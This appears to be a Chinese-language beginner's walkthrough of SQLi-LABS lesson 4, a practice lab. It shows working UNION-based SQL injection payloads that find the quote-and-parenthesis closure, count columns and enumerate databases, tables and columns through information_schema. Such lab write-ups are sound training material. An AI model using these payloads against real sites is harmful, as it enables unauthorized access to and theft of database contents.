SQLi-LABS less-4打靶过程记录——初学者的打靶记录

与less-3类似，只是闭合方式不一样，less-3是单引号+右括号，less-4是双引号+右括号。

实验操作

在URL地址栏后加上?id=1进行参数传递输入，读取数据库中这个表里id为1的数据，可以看到显示出了id=1的登录名和密码

输入?id=1'后无报错

 

输入?id=1" 后出现报错信息：

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

错误提示是【"1"") LIMIT 0,1】，去掉自己输入的一个双引号后可以看出还有两个双引号和一个右括号，由此判可推出SQL注入是由双引号和右括号和起来的闭合模式。

​

 

输入?id=1") order by 4 -- -后，提示超出列数，则尝试把4改成3，发现无报错，说明数据库查询语句查询列数为3列。 

​​

 

使用union 查看输出列的位置，输入?id=-1") union select 1,2,3 -- -，可以看出显示的是2，3列的数据，然后修改2，3的值，就能在2，3列输出想要知道的数据。

​

 输入?id=-1") union select 1,version(),database()-- -，可以查看数据库版本和数据库名字

​​​​​​​​

 数据库在5.0版本以上的可以利用information_schema库里的schemata表查询schema_name来获取所有数据库名，用tables表查询table_name来获取指定数据库的所有表名，用colunms表查询column_name来获取指定表的所有列名。

输入?id=-1") union select 1,GROUP_CONCAT(SCHEMA_NAME),3 from information_schema.schemata -- -，查询所有数据库名

输入?id=-1") union select 1,group_concat(TABLE_NAME),3 from information_schema.TABLES where TABLE_SCHEMA='security' -- -，查询security库的表

 输入?id=-1") union select 1,GROUP_CONCAT(COLUMN_NAME),3 from information_schema.COLUMNS where TABLE_SCHEMA='security' and TABLE_NAME='users' -- -，查询user表的所有列